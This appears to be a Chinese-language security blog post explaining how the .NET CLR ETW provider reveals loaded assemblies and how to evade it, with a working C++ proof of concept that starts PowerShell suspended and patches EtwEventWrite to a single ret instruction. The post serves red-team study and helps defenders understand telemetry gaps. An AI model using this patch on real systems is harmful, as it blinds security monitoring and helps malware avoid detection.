【Day 25】又绕!又绕!又绕 ETW! - Bypass ETW

环境

  • Windows 10 21H1
  • Visual Studio 2019

前情提要

【Day 23】为美好的 Windows 献上 ETW - Event Tracing for Windows 说过 ETW 对於篮队是一个非常有用的机制,可以蒐集使用者在系统上做的种种事情。然而虽然 ETW 很强大,但是仍然可能会被绕过,这篇就要来介绍一个绕过方法。

.NET Assemblies

在绕过 ETW 之前,首先要了解 .NET Assemblies 这个先备知识。

Execute Assembly

在红队测试工具 Cobalt Strike 有个功能,叫做 bexecute_assembly,它会在 Process 中执行 .NET Assemblies。原理是透过 ICLRMetaHost、ICLRRuntimeInfo 和 ICLRRuntimeHost 达到将 CLR 载入的效果。其中 CLR 是 .NET Framework 的虚拟机器元件 (Virtual Machine Component),用来管理执行中的 .NET 程序。

观察

.NET Assemblies 是有办法被侦测的,以下用 Process Explorer 做示范。

  1. 开启 Powershell
  2. 开启 Sysinternals 里的 procexp64.exe
  3. 在 powershell.exe 那一栏按右键选 Properties
  4. 点选 .NET Assemblies

从观察可以看到,在 Process Explorer 中显示的 .NET Assemblies 就放着这个 Process 所使用的 .NET Assemblies 资源。

原理

侦测的原理其实就是利用 ETW 的 Provider「.NET Common Language Runtime」,GUID 为 {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4},使用方法可以参考之前的 Logman 或是用 KrabsETW 写 Consumer。

Provider                                 GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime             {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}

Value               Keyword              Description
-------------------------------------------------------------------------------
0x0000000000000001  GCKeyword            GC
0x0000000000000002  GCHandleKeyword      GCHandle
0x0000000000000004  FusionKeyword        Binder
0x0000000000000008  LoaderKeyword        Loader
0x0000000000000010  JitKeyword           Jit
0x0000000000000020  NGenKeyword          NGen
0x0000000000000040  StartEnumerationKeyword StartEnumeration
0x0000000000000080  EndEnumerationKeyword StopEnumeration
0x0000000000000400  SecurityKeyword      Security
0x0000000000000800  AppDomainResourceManagementKeyword AppDomainResourceManagement
0x0000000000001000  JitTracingKeyword    JitTracing
0x0000000000002000  InteropKeyword       Interop
0x0000000000004000  ContentionKeyword    Contention
0x0000000000008000  ExceptionKeyword     Exception
0x0000000000010000  ThreadingKeyword     Threading
0x0000000000020000  JittedMethodILToNativeMapKeyword JittedMethodILToNativeMap
0x0000000000040000  OverrideAndSuppressNGenEventsKeyword OverrideAndSuppressNGenEvents
0x0000000000080000  TypeKeyword          Type
0x0000000000100000  GCHeapDumpKeyword    GCHeapDump
0x0000000000200000  GCSampledObjectAllocationHighKeyword GCSampledObjectAllocationHigh
0x0000000000400000  GCHeapSurvivalAndMovementKeyword GCHeapSurvivalAndMovement
0x0000000000800000  GCHeapCollectKeyword GCHeapCollect
0x0000000001000000  GCHeapAndTypeNamesKeyword GCHeapAndTypeNames
0x0000000002000000  GCSampledObjectAllocationLowKeyword GCSampledObjectAllocationLow
0x0000000020000000  PerfTrackKeyword     PerfTrack
0x0000000040000000  StackKeyword         Stack
0x0000000080000000  ThreadTransferKeyword ThreadTransfer
0x0000000100000000  DebuggerKeyword      Debugger
0x0000000200000000  MonitoringKeyword    Monitoring

Value               Level                Description
-------------------------------------------------------------------------------
0x00                win:LogAlways        Log Always
0x02                win:Error            Error
0x04                win:Informational    Information
0x05                win:Verbose          Verbose

而触发事件记录的地方是 Usermode,并且是从 Powershell 本身这个 Process 呼叫 EtwEventWrite 记录事件。

绕过侦测

原理

既然已经知道记录事件的是 Process 本身,那就可以在 Process 建立时就把 EtwEventWrite 窜改,让它没办法正常运作。

实作流程

  1. 建立一个 Powershell Process,并取得 Process Handle
  2. 从 ntdll.dll 中取得 EtwEventWrite 的位址
  3. 把 EtwEventWrite 的位址的权限改成可读、可写、可执行(rwx)
  4. 将 EtwEventWrite 的 Function 的第一个 byte 改成 0xc3,也就是组语的 ret
  5. 把 EtwEventWrite 的权限改回,并且继续执行 Process

POC

程序是从 idiotc4t 的部落格取得,做了一些小修改和注解,完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome

#include <Windows.h>
#include <Tlhelp32.h>
int main() {
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);

	// 1. 建立一个 Powershell Process,并取得 Process Handle
	CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	// 2. 从 ntdll.dll 中取得 EtwEventWrite 的位址
	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

	// 3. 把 EtwEventWrite 的位址的权限改成可读、可写、可执行(rwx)
	DWORD oldProtect;
	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

	// 4. 将 EtwEventWrite 的 Function 的第一个 byte 改成 0xc3,也就是组语的 ret
	char patch = 0xc3;
	WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

	// 5. 把 EtwEventWrite 的权限改回,并且继续执行 Process
	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
	ResumeThread(pi.hThread);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}

实际测试

在执行 POC 後,会建立一个 Powershell Process,如同前面说的,目前的 EtwEventWrite 已经被改掉了,因此不会记录 .NET Assemblies 的事件。

再用 Process Explorer 打开看一次 Powershell 的状态,可以注意到 .NET Assemblies 这个栏位变空白了。

参考资料


<<:  Log Agent - Fluent Bit 安装与常见架构模式

>>:  Day25-好用的网页服务器-nginx(一)

[Day 2] 一个非同步案例 httpServer

前言 或许有些人会有所困惑, 同步非同步的实践难在哪里, 为甚麽要一直巴拉巴拉, 但事实上, 非同步...

11 - exa - 总览目录的工具

ls 指令会列出目录中的各个档案与目录,供使用者浏览整个目录的结构,是个十分常用的指令。 但它的设计...

【Day7】Vocoder Model 以及 WaveNet 介绍

声码器 (Vocoder) 合成语音的概念最早是由贝尔实验室的工程师 - 荷马·达德利在 1928 ...

CMMC 2.0 之前世今生

美国国防部在 2020 年1月底公布新规范 「网路安全成熟度模型认证Cybersecurity Ma...

Football Betting - Making Sense of the Odds

Football Betting - Making Sense of the Odds Footba...